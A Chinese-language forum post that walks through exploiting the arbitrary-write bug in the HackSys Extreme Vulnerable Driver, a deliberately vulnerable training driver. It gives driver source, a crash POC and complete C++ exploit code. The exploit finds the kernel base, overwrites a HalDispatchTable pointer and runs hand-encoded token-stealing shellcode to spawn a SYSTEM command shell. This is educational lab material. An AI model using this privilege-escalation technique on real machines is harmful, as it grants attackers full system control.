首页
社区
课程
招聘
[原创]Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where
发表于: 2021-7-5 23:03 13588

[原创]Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where

erfze 活跃值
12
2021-7-5 23:03
13588

环境配置及基础知识见上一篇,本篇及后续篇章不不再赘述。本篇使用环境如下:

触发漏洞源码如下:

对比Vulnerable版本与Secure版本可以发现,其在执行*(Where) = *(What)语句之前未通过ProbeForRead/ProbeForWrite函数校验读取及写入地址的合法性。跟进ProbeForRead函数:

首先是校验边界,其次校验地址是否处于用户空间范围内(nt!MmUserProbeAddress其值由MiInitializeBootDefaults函数初始化):

边界未对齐,触发STATUS_DATATYPE_MISALIGNMENT异常:

越界则触发STATUS_ACCESS_VIOLATION异常:

ProbeForWrite函数在边界对齐及地址范围校验方面与ProbeForRead类似,除此之外该函数会校验地址是否可写,可读,可访问:

编写POC如下:

触发漏洞:

根据上文分析,现已可以实现任意地址写。将nt!HalDispatchTable中函数地址覆盖为Shellcode地址可以实现任意代码执行,具体见下文分析。

nt!HalDispatchTableHalQuerySystemInformationHalSetSystemInformation是在内核初始化过程中确定的:

二者分别可以通过NtQueryIntervalProfileNtSetIntervalProfile函数调用:

下面分别来介绍如何按上图执行流来执行至目标函数。NtQueryIntervalProfile函数定义如下:

其中KPROFILE_SOURCE是一枚举类型:

NtQueryIntervalProfile首先校验_KTHREADPreviousMode(Offset 0x13A)字段值(关于_KPCR_KPRCB_KTHREAD上一篇有介绍):

其次判断参数Interval指向地址是否超过MmUserProbeAddress

最后判断ProfileSource是否为零,非零值则调用KeQueryIntervalProfile

KeQueryIntervalProfile会判断ProfileSource是否为1,不为1才会继续调用nt!HalDispatchTable+0x4

如此,笔者构造Exploit中对该函数调用如下:

nt!HalDispatchTable+0x4函数调用不止KeQueryIntervalProfile一处,所以在Shellcode中需要将其替换成原数值,通过其与HalSetSystemInformation函数地址相差0x912来进行恢复:

Shellcode如下:

NtSetIntervalProfile函数定义如下:

其对参数判断位于KeSetIntervalProfile函数内,首先校验nt!PerfGlobalGroupMask+0x4

其次判断ProfileSource是否为0及是否为1:

上述两种方式思想相同,只是具体实现方式略有不同,两种方式完整Exploit如下:

效果如下:

NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
    PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
 
        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;
 
        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
        // ProbeForWrite() routine before performing the write operation
        //
 
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
        ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
 
        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Write\n");
 
        //
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        //
 
        *(Where) = *(What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    //
    // There is one more hidden vulnerability. Find it out.
    //
 
    return Status;
}
NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
    PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
 
        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;
 
        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
        // ProbeForWrite() routine before performing the write operation
        //
 
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
        ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
 
        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Write\n");
 
        //
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        //
 
        *(Where) = *(What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    //
    // There is one more hidden vulnerability. Find it out.
    //
 
    return Status;
}
 
 
 
 
 
 
 
 
 
 
#include <stdio.h>
#include <windows.h>
 
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
 
int main()
{
    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    if (dev == INVALID_HANDLE_VALUE)
    {
        printf("Failed!\n");
        system("pause");
        return -1;
    }
    printf("Done! Device Handle:0x%p\n", dev);
    PWRITE_WHAT_WHERE Buffer;
    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
    Buffer->Where=(PULONG_PTR)0x41414141;
    Buffer->What = (PULONG_PTR)0x42424242;
 
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
    CloseHandle(dev);
    system("pause");
    return 0;
}
#include <stdio.h>
#include <windows.h>
 
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
 
int main()
{
    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    if (dev == INVALID_HANDLE_VALUE)
    {
        printf("Failed!\n");
        system("pause");
        return -1;
    }
    printf("Done! Device Handle:0x%p\n", dev);
    PWRITE_WHAT_WHERE Buffer;
    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
    Buffer->Where=(PULONG_PTR)0x41414141;
    Buffer->What = (PULONG_PTR)0x42424242;
 
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
    CloseHandle(dev);
    system("pause");
    return 0;
}
 
 
 
 
 
 
 
NTSTATUS
NtQueryIntervalProfile (
    KPROFILE_SOURCE ProfileSource,
    ULONG *Interval);
NTSTATUS
NtQueryIntervalProfile (
    KPROFILE_SOURCE ProfileSource,
    ULONG *Interval);
typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
 
 
 
 
 
 
 
 
PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");
    if (!NtQueryIntervalProfile) {
        cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl;
        cout << "[!] Last error " << GetLastError() << endl;
        exit(1);
    }
    NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC);        //SC——>Shellcode Address
PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");
    if (!NtQueryIntervalProfile) {
        cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl;
        cout << "[!] Last error " << GetLastError() << endl;
        exit(1);
    }
    NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC);        //SC——>Shellcode Address
INT32 KrBase = GetKernelBaseAddress();
    INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
    INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
    INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x14
    CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
    ZeroMemory(SC, 0x60);
    __asm {
        pushad;
        mov eax, HalSetSystemInformation_Address;
        mov ebx, HalQuerySystemInformation_Address;
        mov edi, SC;
        mov[edi], 0x60;
        mov dword ptr[edi + 0x1], 0x000000E8;
        mov dword ptr[edi + 0x5], 0x588B5800;
        mov dword ptr[edi + 0x9], 0x4F488B4B;
        mov dword ptr[edi + 0xD], 0xEA81138B;
        mov dword ptr[edi + 0x11], 0x00000912;
        mov dword ptr[edi + 0x15], 0x90901189;
        mov dword ptr[edi + 0x19], 0x8B64C031;
        mov dword ptr[edi + 0x1D], 0x00012480;
        mov dword ptr[edi + 0x21], 0x50408B00;
        mov dword ptr[edi + 0x25], 0x04BAC189;
        mov dword ptr[edi + 0x29], 0x8B000000;
        mov dword ptr[edi + 0x2D], 0x0000B880;
        mov dword ptr[edi + 0x31], 0x00B82D00;
        mov dword ptr[edi + 0x35], 0x90390000;
        mov dword ptr[edi + 0x39], 0x000000B4;
        mov dword ptr[edi + 0x3D], 0x908BED75;
        mov dword ptr[edi + 0x41], 0x000000F8;
        mov dword ptr[edi + 0x45], 0x00F89189;
        mov dword ptr[edi + 0x49], 0x31610000;
        mov dword ptr[edi + 0x4D], 0x0000C3C0;
        mov dword ptr[edi + 0x51], eax;
        mov dword ptr[edi + 0x55], ebx;
        popad;
    }
INT32 KrBase = GetKernelBaseAddress();
    INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
    INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
    INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x14
    CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
    ZeroMemory(SC, 0x60);
    __asm {
        pushad;
        mov eax, HalSetSystemInformation_Address;
        mov ebx, HalQuerySystemInformation_Address;
        mov edi, SC;
        mov[edi], 0x60;
        mov dword ptr[edi + 0x1], 0x000000E8;
        mov dword ptr[edi + 0x5], 0x588B5800;
        mov dword ptr[edi + 0x9], 0x4F488B4B;
        mov dword ptr[edi + 0xD], 0xEA81138B;
        mov dword ptr[edi + 0x11], 0x00000912;
        mov dword ptr[edi + 0x15], 0x90901189;
        mov dword ptr[edi + 0x19], 0x8B64C031;
        mov dword ptr[edi + 0x1D], 0x00012480;
        mov dword ptr[edi + 0x21], 0x50408B00;
        mov dword ptr[edi + 0x25], 0x04BAC189;
        mov dword ptr[edi + 0x29], 0x8B000000;
        mov dword ptr[edi + 0x2D], 0x0000B880;
        mov dword ptr[edi + 0x31], 0x00B82D00;
        mov dword ptr[edi + 0x35], 0x90390000;
        mov dword ptr[edi + 0x39], 0x000000B4;
        mov dword ptr[edi + 0x3D], 0x908BED75;
        mov dword ptr[edi + 0x41], 0x000000F8;
        mov dword ptr[edi + 0x45], 0x00F89189;
        mov dword ptr[edi + 0x49], 0x31610000;
        mov dword ptr[edi + 0x4D], 0x0000C3C0;
        mov dword ptr[edi + 0x51], eax;
        mov dword ptr[edi + 0x55], ebx;
        popad;
    }
 
 
NTSTATUS
NtSetIntervalProfile (
    ULONG Interval,
    KPROFILE_SOURCE ProfileSource);
NTSTATUS
NtSetIntervalProfile (
    ULONG Interval,
    KPROFILE_SOURCE ProfileSource);
 
 
 
 
//HalSetSystemInformation
#include <iostream>
#include <string.h>
#include <Windows.h>
 
using namespace std;
 
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
 
typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 LoadCount;
    WORD                 NameOffset;
    CHAR                 Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
 
typedef struct SYSTEM_MODULE_INFORMATION{
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
 
typedef enum _SYSTEM_INFORMATION_CLASS{
    SystemModuleInformation = 0xB
} SYSTEM_INFORMATION_CLASS;
 
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
 
typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, * PKPROFILE_SOURCE;
 
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );
 
typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)(
    __in KPROFILE_SOURCE ProfileSource,
    __in ULONG* Interval);
 
typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)(
    __in ULONG* Interval,
    __in KPROFILE_SOURCE ProfileSource);
 
INT32 GetKernelBaseAddress(){
 
    //Get NtQuerySystemInformation Address
    PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");
 
    if (!NtQuerySystemInformation){
        cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl;
        cout << "[!] Last Error:" << GetLastError() << endl;
        exit(1);
    }
 
    ULONG len = 0;
 
    //Get Buffer Length
    NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);
 
    //Allocate Memory
    PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
 
    //Get SYSTEM_MODULE_INFORMATION
    NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len);
 
    if (Status != (NTSTATUS)0x0){
        cout << "[!] NtQuerySystemInformation Failed!" << endl;
        exit(1);
    }
 
    PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress;
 
    cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl;
 
    return (INT32)KernelImageBase;
}
 
int main() {
 
    HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
 
    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl;
        exit(1);
    }
 
    cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl;
 
    INT32 KrBase = GetKernelBaseAddress();
    INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
    INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
    INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x912
    CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
    ZeroMemory(SC, 0x60);
    __asm {
        pushad;
        mov ebx, HalSetSystemInformation_Address;
        mov eax, HalQuerySystemInformation_Address;
        mov edi, SC;
        mov[edi], 0x60;
        mov dword ptr[edi + 0x1], 0x000000E8;
        mov dword ptr[edi + 0x5], 0x588B5800;
        mov dword ptr[edi + 0x9], 0x4F488B4B;
        mov dword ptr[edi + 0xD], 0xC281138B;
        mov dword ptr[edi + 0x11], 0x00000912;
        mov dword ptr[edi + 0x15], 0x90901189;
        mov dword ptr[edi + 0x19], 0x8B64C031;
        mov dword ptr[edi + 0x1D], 0x00012480;
        mov dword ptr[edi + 0x21], 0x50408B00;
        mov dword ptr[edi + 0x25], 0x04BAC189;
        mov dword ptr[edi + 0x29], 0x8B000000;
        mov dword ptr[edi + 0x2D], 0x0000B880;
        mov dword ptr[edi + 0x31], 0x00B82D00;
        mov dword ptr[edi + 0x35], 0x90390000;
        mov dword ptr[edi + 0x39], 0x000000B4;
        mov dword ptr[edi + 0x3D], 0x908BED75;
        mov dword ptr[edi + 0x41], 0x000000F8;
        mov dword ptr[edi + 0x45], 0x00F89189;
        mov dword ptr[edi + 0x49], 0x31610000;
        mov dword ptr[edi + 0x4D], 0x0000C3C0;
        mov dword ptr[edi + 0x51], eax;
        mov dword ptr[edi + 0x55], ebx;
        popad;
    }
    PULONG_PTR* PShellcode = (PULONG_PTR*)&SC;
    PWRITE_WHAT_WHERE Buffer;
    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
    Buffer->Where = (PULONG_PTR)HalSetSystemInformation_Address;
    Buffer->What = (PULONG_PTR)PShellcode;
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
    PNtSetIntervalProfile NtSetIntervalProfile = (PNtSetIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIntervalProfile");
    if (!NtSetIntervalProfile) {
        cout << "[!] Failed to Get the Address of NtSetIntervalProfile." << endl;
        cout << "[!] Last error " << GetLastError() << endl;
        exit(1);
    }
    NtSetIntervalProfile((ULONG*)SC, ProfileTotalIssues);
 
    PROCESS_INFORMATION ProcessInformation;
    ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
    STARTUPINFOA StartupInfo;
    ZeroMemory(&StartupInfo, sizeof(StartupInfo));
    CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation);
 
    VirtualFree(SC, 0, MEM_RELEASE);
}
//HalSetSystemInformation
#include <iostream>
#include <string.h>
#include <Windows.h>
 
using namespace std;
 
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
 
typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 LoadCount;
    WORD                 NameOffset;
    CHAR                 Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
 
typedef struct SYSTEM_MODULE_INFORMATION{
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
 
typedef enum _SYSTEM_INFORMATION_CLASS{
    SystemModuleInformation = 0xB
} SYSTEM_INFORMATION_CLASS;
 
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
 
typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, * PKPROFILE_SOURCE;
 
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 5
支持
分享
最新回复 (1)
雪    币: 4105
活跃值: (5807)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
学习了
2021-11-17 14:53
0
游客
登录 | 注册 方可回帖
返回
//